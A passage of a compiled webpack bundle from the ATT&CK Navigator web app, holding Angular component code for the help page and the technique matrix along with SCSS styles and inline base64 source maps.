ZXhhbXBsZSBvZiBhIGRhcmsgdGhlbWUgZm9yIHRoZSBzaXRlXG4gICAgbGluazogKGNvbG9yOiAjNGY3Y2FjKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaHlwZXJsaW5rc1xuICAgIG1hdHJpeC1oZWFkZXI6IChjb2xvcjogZ3JheSwgb24tY29sb3I6IHdoaXRlKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jb2xvciBvZiBtYXRyaXggaGVhZGVyc1xuXG4gICAgLy9ib290c3RyYXAgY29sb3JzXG4gICAgYm9vdHN0cmFwLXByaW1hcnk6IChjb2xvcjogIzQyOGJjYSwgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtc3VjY2VzczogKGNvbG9yOiAjNWNiODVjLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1kYW5nZXI6IChjb2xvcjogI2Q5NTM0Ziwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtd2FybmluZzogKGNvbG9yOiAjZjBhZDRlLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC1pbmZvOiAoY29sb3I6ICM1YmMwZGUsIG9uLWNvbG9yOiB3aGl0ZSksXG5cbiAgICAvL1RPRE8gZGVwcmVjYXRlIHdpdGggc2VhcmNoIHBhZ2UgY2hhbmdlc1xuICAgIHNlYXJjaC1yZXN1bHRzLWJvcmRlcjogKGNvbG9yOiBibGFjaywgb24tY29sb3I6IGxpZ2h0Z3JleSksICBcbik7XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBjb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJjb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBnZXQgYW4gYWx0ZXJuYXRlIHZlcnNpb24gb2YgdGhlIGNvbG9yLCBmb3IgcGF0dGVybmluZ1xuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgZGFyaywgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGxpZ2h0ZXIuXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBsaWdodCwgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGRhcmtlci5cbi8vIGNvbnRyYXN0LCBhbiBvcHRpb25hbCBhcmd1bWVudCwgbXVsdGlwbGllcyB0byBjcmVhdGUgYSBtb3JlIGRpc3RpbnQgb3Igc2ltaWxhciBjb2xvci4gPjEgaXMgbW9yZSBkaXN0YW50LCA8MSBpcyBtb3JlIHNpbWlsYXIuXG5AZnVuY3Rpb24gY29sb3ItYWx0ZXJuYXRlKCRuYW1lLCAkY29udHJhc3Q6IDEpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAkd2VpZ2h0OiAkY29udHJhc3QgKiA1JSk7IFxufVxuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIG9uLWNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gb24tY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwib24tY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZW1waGFzaXplZCBvbi1jb2xvciBpcyBsZXNzIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgb24tY29sb3IoJG5hbWUpKTsgXG59XG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBkZWVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZGVlbXBoYXNpemVkIG9uLWNvbG9yIGlzIG1vcmUgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1kZWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoY29sb3IoJG5hbWUpLCBvbi1jb2xvcigkbmFtZSksIDI1JSk7IFxufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGNvbXB1dGUgYSBib3JkZXIgY29sb3IgZm9yIHRoZSBjb2xvclxuQGZ1bmN0aW9uIGJvcmRlci1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksIDEyLjUlKTsgXG4gICAgLy8gQHJldHVybiByZ2JhKGludmVydChjb2xvcigkbmFtZSkpLCAwLjEyNSk7XG59XG4iLCJAaW1wb3J0IFwiLi4vLi4vY29sb3JzLnNjc3NcIjtcblxuLmhlbHAge1xuICAgIGZvbnQtc2l6ZTogMTFwdDtcbiAgICBwYWRkaW5nOiAyNXB4IDIwJTtcbiAgICAvLyBtYXJnaW46IDAgMTAlO1xuICAgIGgxIHtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYmxhY2s7XG4gICAgfVxuICAgIFxufVxuLy8gdGFibGUgb2YgY29udGVudHNcbi50b2Mge1xuICAgIFxuICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG4gICAgdWwge1xuICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgIH1cbn1cblxuY29kZSB7XG4gICAgY29sb3I6IGJsYWNrO1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICRwYW5lbC1kYXJrO1xuICAgIHBhZGRpbmc6IDFweCAycHg7XG59XG4iLCIvKipcbiAqIENvbG9ycyB1c2VkIGFjcm9zcyB0aGUgTmF2aWdhdG9yLiBTaGFyZWQgYnkgdGhlIEFUVCZDSyBXZWJzaXRlLlxuICogRm9yIGVhY2ggY29sb3ItcGFpcjpcbiAqICAgLSBcImNvbG9yXCIgcmVmZXJzIHRvIHRoZSBjb2xvciBpdHNlbGZcbiAqICAgLSBcIm9uLWNvbG9yXCIgcmVmZXJzIHRvIHRoZSBtb3N0IHJlYWRhYmxlIHRleHQtY29sb3IgdG8gYXBwZWFyIG9uIHRvcCBvZiB0aGUgY29sb3IuIFxuICogTm90ZTogc29tZSBjb2xvcnMgZG9uJ3QgZGVmaW5lIG9uLWNvbG9ycy4gVGhpcyBpcyBiZWNhdXNlLCBmb3IgdGhlc2UgY29sb3JzLCB0aGV5IGFyZW4ndCBpbnRlbmRlZCB0b1xuICogYXBwZWFyIHdpdGggaW5uZXIgY29udGVudC4gRm9yIGV4YW1wbGUsIFwibGlua1wiIGlzIG9ubHkgaW50ZW5kZWQgdG8gYmUgdXNlZCBmb3IgbGluayB0ZXh0LCB3aGljaCBpbmhlcmVudGx5XG4gKiBjYW5ub3QgaGF2ZSBpbm5lciB0ZXh0LlxuICovXG4uaGVscCB7XG4gIGZvbnQtc2l6ZTogMTFwdDtcbiAgcGFkZGluZzogMjVweCAyMCU7XG59XG4uaGVscCBoMSB7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGJsYWNrO1xufVxuXG4udG9jIHtcbiAgbGlzdC1zdHlsZTogbm9uZTtcbn1cbi50b2MgdWwge1xuICBsaXN0LXN0eWxlOiBub25lO1xufVxuXG5jb2RlIHtcbiAgY29sb3I6IGJsYWNrO1xuICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICBwYWRkaW5nOiAxcHggMnB4O1xufSJdfQ== */" + +/***/ }), + +/***/ "./src/app/help/help.component.ts": +/*!****************************************!*\ + !*** ./src/app/help/help.component.ts ***! + \****************************************/ +/*! exports provided: HelpComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "HelpComponent", function() { return HelpComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _globals__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../globals */ "./src/app/globals.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + +var HelpComponent = /** @class */ (function () { + function HelpComponent() { + this.nav_version = _globals__WEBPACK_IMPORTED_MODULE_1__["nav_version"]; + } + HelpComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'help', + template: __webpack_require__(/*! raw-loader!./help.component.html */ "./node_modules/raw-loader/index.js!./src/app/help/help.component.html"), + styles: [__webpack_require__(/*! ./help.component.scss */ "./src/app/help/help.component.scss")] + }), + __metadata("design:paramtypes", []) + ], HelpComponent); + return HelpComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/matrix/matrix-common.ts": +/*!*****************************************!*\ + !*** ./src/app/matrix/matrix-common.ts ***! + \*****************************************/ +/*! exports provided: MatrixCommon */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "MatrixCommon", function() { return MatrixCommon; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../config.service */ "./src/app/config.service.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + +var MatrixCommon = /** @class */ (function () { + function MatrixCommon(configService) { + this.selectionChanged = new _angular_core__WEBPACK_IMPORTED_MODULE_0__["EventEmitter"](); + this.configService = configService; + } + /** + * filter tactics according to viewmodel state + * @param {Tactic[]} tactics to filter + * @returns {Tactic[]} filtered tactics + */ + MatrixCommon.prototype.filterTactics = function (tactics) { + return this.viewModel.filterTactics(tactics, this.matrix); + }; + /** + * filter techniques according to viewModel state + * @param {Technique[]} techniques list of techniques to filter + * @param {Tactic} tactic tactic the techniques fall under + * @returns {Technique[]} filtered techniques + */ + MatrixCommon.prototype.filterTechniques = function (techniques, tactic) { + return this.viewModel.filterTechniques(techniques, tactic, this.matrix); + }; + /** + * sort techniques accoding to viewModel state + * @param {Technique[]} techniques techniques to sort + * @param {Tactic} tactic tactic the techniques fall under + * @returns {Technique[]} sorted techniques + */ + MatrixCommon.prototype.sortTechniques = function (techniques, tactic) { + return this.viewModel.sortTechniques(techniques, tactic); + }; + /** + * apply sort and filter state to techniques + * @param {Technique[]} techniques techniques to sort and filter + * @param {Tactic} tactic that the techniques fall under + * @returns {Technique[]} sorted and filtered techniques + */ + MatrixCommon.prototype.applyControls = function (techniques, tactic) { + return this.viewModel.applyControls(techniques, tactic, this.matrix); + }; + MatrixCommon.prototype.onTechniqueLeftClick = function (event, technique, tactic) { + if (!this.configService.getFeature('selecting_techniques')) { + //if selecting is disabled, same behavior as right click. Shouldn't ever get to this point because it should be handled in technique-cell + return; + } + if (event.shift || event.ctrl || event.meta) { + // add to selection + if (this.viewModel.isTechniqueSelected(technique, tactic)) + this.viewModel.unselectTechnique(technique, tactic); + else + this.viewModel.selectTechnique(technique, tactic); + } + else { + // replace selection + if (this.viewModel.getSelectedTechniqueCount() > 1) { + if (this.viewModel.isTechniqueSelected) + this.viewModel.clearSelectedTechniques(); + this.viewModel.selectTechnique(technique, tactic); + } + else if (this.viewModel.isTechniqueSelected(technique, tactic)) { //unselect currently selected + this.viewModel.clearSelectedTechniques(); + } + else { //replace + this.viewModel.clearSelectedTechniques(); + this.viewModel.selectTechnique(technique, tactic); + } + } + this.selectionChanged.emit(); + }; + MatrixCommon.prototype.onToggleSubtechniquesVisible = function (technique, tactic) { + if (technique.subtechniques.length == 0) + return; + var tvm = this.viewModel.getTechniqueVM(technique, tactic); + tvm.showSubtechniques = !tvm.showSubtechniques; + }; + MatrixCommon.prototype.onTechniqueHighlight = function (event, technique, tactic) { + this.viewModel.highlightTechnique(technique, tactic); + }; + MatrixCommon.prototype.onTechniqueUnhighlight = function (event) { + this.viewModel.clearHighlight(); + }; + MatrixCommon.prototype.onTacticClick = function (tactic) { + if (this.viewModel.isTacticSelected(tactic)) + this.viewModel.clearSelectedTactic(); + else + this.viewModel.selectTactic(tactic); + }; + Object.defineProperty(MatrixCommon.prototype, "tacticRowStyle", { + get: function () { + return this.viewModel.showTacticRowBackground ? { + "background": this.viewModel.tacticRowBackground, + "color": tinycolor.mostReadable(this.viewModel.tacticRowBackground, ['white', 'black']) + } : {}; + }, + enumerable: true, + configurable: true + }); + MatrixCommon.ctorParameters = function () { return [ + { type: _config_service__WEBPACK_IMPORTED_MODULE_3__["ConfigService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Matrix"]) + ], MatrixCommon.prototype, "matrix", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__["ViewModel"]) + ], MatrixCommon.prototype, "viewModel", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Output"])(), + __metadata("design:type", Object) + ], MatrixCommon.prototype, "selectionChanged", void 0); + return MatrixCommon; +}()); + +// export class TechniqueEvent { +// public readonly event: Event; +// public readonly technique: Technique; +// constructor(event, technique) { +// this.technique = technique; +// this.event = event; +// } +// } + + +/***/ }), + +/***/ "./src/app/matrix/matrix-flat/matrix-flat.component.scss": +/*!***************************************************************!*\ + !*** ./src/app/matrix/matrix-flat/matrix-flat.component.scss ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.matrix {\n border-collapse: collapse;\n line-height: 14px;\n}\n.matrix.flat .tactic {\n margin-right: 5px;\n width: 1%;\n vertical-align: top;\n}\n.matrix.flat .tactic.name, .matrix.flat .tactic.count {\n text-align: center;\n font-size: 16px;\n}\n.matrix.flat .tactic.name {\n cursor: pointer;\n vertical-align: bottom;\n font-weight: bold;\n}\n.matrix.flat .tactic.count {\n font-size: 13px;\n border-bottom: 1px solid black;\n padding-bottom: 5px;\n margin-bottom: 5px;\n}\n.matrix.flat .tactic .subtechniques-row.hidden {\n display: none;\n}\n.matrix.flat .tactic .supertechnique {\n border-collapse: collapse;\n width: 100%;\n padding: 0;\n margin: 0;\n}\n.matrix.flat .tactic .supertechnique td {\n padding: 0;\n vertical-align: top;\n}\n.matrix.flat .tactic .supertechnique td.sidebar.technique {\n min-width: 8px;\n width: 12px;\n padding: 0;\n background: #6b7279;\n cursor: pointer;\n vertical-align: middle;\n}\n.matrix.flat .tactic .supertechnique td.sidebar.technique .handle {\n text-align: center;\n vertical-align: middle;\n -webkit-transform: rotate(-90deg);\n transform: rotate(-90deg);\n color: #f2f2f2;\n width: 12px;\n height: 12px;\n font-size: 16px;\n line-height: 12px;\n}\n.matrix.flat .tactic .supertechnique td.sidebar.technique.disabled {\n background: #aaaaaa;\n border-color: #aaaaaa;\n box-shadow: none;\n pointer-events: none;\n}\n.matrix.flat .tactic .supertechnique td.sidebar.subtechniques svg {\n fill: #6b7279;\n}\n.matrix.flat .tactic .supertechnique td.sidebar {\n border-right: 2px solid #6b7279;\n}\n.matrix.flat .tactic .supertechnique td.technique {\n box-shadow: 0 0 0 1px #6b7279 inset;\n}\n.matrix.flat .tactic .more-icon {\n transition: all ease 0.125s;\n vertical-align: top;\n -webkit-transform: scale(0.5) rotate(-90deg);\n transform: scale(0.5) rotate(-90deg);\n width: 12px;\n height: 12px;\n}\n.matrix.flat .tactic .more-icon.expanded {\n -webkit-transform: scale(0.5);\n transform: scale(0.5);\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tYXRyaXgvbWF0cml4LWZsYXQvbWF0cml4LWZsYXQuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9hcHAvbWF0cml4L21hdHJpeC1jb21tb24uc2NzcyIsInNyYy9hcHAvbWF0cml4L21hdHJpeC1mbGF0L21hdHJpeC1mbGF0LmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFlQTs7Ozs7Ozs7RUFBQTtBQ1hBO0VBQ0kseUJBQUE7RUFDQSxpQkFKTztBQ1VYO0FDVkk7RUFDSSxpQkFBQTtFQUNBLFNBQUE7RUFDQSxtQkFBQTtBRGFSO0FDWFE7RUFDSSxrQkFBQTtFQUNBLGVBQUE7QURhWjtBQ1hRO0VBQ0ksZUFBQTtFQUNBLHNCQUFBO0VBQ0EsaUJBQUE7QURhWjtBQ1hRO0VBQ0ksZUFBQTtFQUNBLDhCQUFBO0VBQ0EsbUJBQUE7RUFDQSxrQkFBQTtBRGFaO0FDVlE7RUFDSSxhQUFBO0FEWVo7QUNWUTtFQUNJLHlCQUFBO0VBQ0EsV0FBQTtFQUNBLFVBQUE7RUFDQSxTQUFBO0FEWVo7QUNYWTtFQUNJLFVBQUE7RUFDQSxtQkFBQTtBRGFoQjtBQ1pnQjtFQUNJLGNBQUE7RUFDQSxXQUFBO0VBQ0EsVUFBQTtFQUNBLG1CQUFBO0VBQ0EsZUFBQTtFQUNBLHNCQUFBO0FEY3BCO0FDYm9CO0VBQ0ksa0JBQUE7RUFDQSxzQkFBQTtFQUNBLGlDQUFBO1VBQUEseUJBQUE7RUFDQSxjQUFBO0VBRUEsV0FBQTtFQUFhLFlBQUE7RUFFYixlQUFBO0VBQ0EsaUJBQUE7QURjeEI7QUNab0I7RUFDSSxtQkFBQTtFQUNBLHFCQUFBO0VBQ0EsZ0JBQUE7RUFDQSxvQkFBQTtBRGN4QjtBQ1ZvQjtFQUFNLGFBQUE7QURhMUI7QUNYZ0I7RUFDSSwrQkFBQTtBRGFwQjtBQ1hnQjtFQUNJLG1DQUFBO0FEYXBCO0FDUlE7RUFDSSwyQkFBQTtFQUNBLG1CQUFBO0VBRUEsNENBQUE7VUFBQSxvQ0FBQTtFQUNBLFdBQUE7RUFBYSxZQUFBO0FEVXpCO0FDVFk7RUFDSSw2QkFBQTtVQUFBLHFCQUFBO0FEV2hCIiwiZmlsZSI6InNyYy9hcHAvbWF0cml4L21hdHJpeC1mbGF0L21hdHJpeC1mbGF0LmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiJGNvbHVtbi1ob3Zlci1jb2xvcjogcmdiKDIzNSwgMjM1LCAyMzUpO1xuJGRpc2FibGVkLWNvbG9yOiBkYXJrZW4oJGNvbHVtbi1ob3Zlci1jb2xvciwgMjAlKTtcbiRjZWxsLWhpZ2hsaWdodC1jb2xvcjogcmdiKDk2LCAxOTcsIDI1NSk7XG4kaG92ZXItY2VsbC1mb250LWNvbG9yOiByZ2IoMCwgMCwgMCk7XG4kcGFuZWwtZGFyazogI2RkZDtcbiRwYW5lbC1saWdodDogbGlnaHRlbigkcGFuZWwtZGFyaywgOCUpO1xuJHRhYi10ZXh0LWNvbG9yOiAjNTU1O1xuJGJ1dHRvbi1kYXJrOiAjYjhiOGI4O1xuXG4vLyBBVFQmQ0sgQnJhbmQgY29sb3JzXG4kYXR0YWNrLWNvbG9yczogKFxuICAgIGF0dGFjay1vcmFuZ2U6ICNjNjNmMWYsXG4gICAgYXR0YWNrLWJsdWU6ICMwNjJmNGZcbik7XG5cbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbiRjb2xvcnM6IChcbiAgICBwcmltYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1vcmFuZ2UpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBoZWFkZXIgYW5kIHNvbWUgbmF2IGVsZW1lbnRzXG4gICAgc2Vjb25kYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1ibHVlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgZm9vdGVyIGFuZCBzb21lIGJ1dHRvbnNcbiAgICBib2R5OiAoY29sb3I6IHdoaXRlLCBvbi1jb2xvcjogIzM5NDM0QyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbWFyeSBwYWdlIGJvZHlcbi8vICBib2R5OiAoY29sb3I6IHJnYig1MCwgNTAsIDUwKSwgb24tY29sb3I6ICNjZGNkY2QpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2V4YW1wbGUgb2YgYSBkYXJrIHRoZW1lIGZvciB0aGUgc2l0ZVxuICAgIGxpbms6IChjb2xvcjogIzRmN2NhYyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2h5cGVybGlua3NcbiAgICBtYXRyaXgtaGVhZGVyOiAoY29sb3I6IGdyYXksIG9uLWNvbG9yOiB3aGl0ZSksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vY29sb3Igb2YgbWF0cml4IGhlYWRlcnNcblxuICAgIC8vYm9vdHN0cmFwIGNvbG9yc1xuICAgIGJvb3RzdHJhcC1wcmltYXJ5OiAoY29sb3I6ICM0MjhiY2EsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLXN1Y2Nlc3M6IChjb2xvcjogIzVjYjg1Yywgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtZGFuZ2VyOiAoY29sb3I6ICNkOTUzNGYsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLXdhcm5pbmc6IChjb2xvcjogI2YwYWQ0ZSwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtaW5mbzogKGNvbG9yOiAjNWJjMGRlLCBvbi1jb2xvcjogd2hpdGUpLFxuXG4gICAgLy9UT0RPIGRlcHJlY2F0ZSB3aXRoIHNlYXJjaCBwYWdlIGNoYW5nZXNcbiAgICBzZWFyY2gtcmVzdWx0cy1ib3JkZXI6IChjb2xvcjogYmxhY2ssIG9uLWNvbG9yOiBsaWdodGdyZXkpLCAgXG4pO1xuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIGNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwiY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgZ2V0IGFuIGFsdGVybmF0ZSB2ZXJzaW9uIG9mIHRoZSBjb2xvciwgZm9yIHBhdHRlcm5pbmdcbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGRhcmssIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBsaWdodGVyLlxuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgbGlnaHQsIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBkYXJrZXIuXG4vLyBjb250cmFzdCwgYW4gb3B0aW9uYWwgYXJndW1lbnQsIG11bHRpcGxpZXMgdG8gY3JlYXRlIGEgbW9yZSBkaXN0aW50IG9yIHNpbWlsYXIgY29sb3IuID4xIGlzIG1vcmUgZGlzdGFudCwgPDEgaXMgbW9yZSBzaW1pbGFyLlxuQGZ1bmN0aW9uIGNvbG9yLWFsdGVybmF0ZSgkbmFtZSwgJGNvbnRyYXN0OiAxKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgJHdlaWdodDogJGNvbnRyYXN0ICogNSUpOyBcbn1cblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBvbi1jb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIG9uLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcIm9uLWNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbGVzcyBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIG9uLWNvbG9yKCRuYW1lKSk7IFxufVxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZGVlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGRlZW1waGFzaXplZCBvbi1jb2xvciBpcyBtb3JlIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZGVlbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGNvbG9yKCRuYW1lKSwgb24tY29sb3IoJG5hbWUpLCAyNSUpOyBcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBjb21wdXRlIGEgYm9yZGV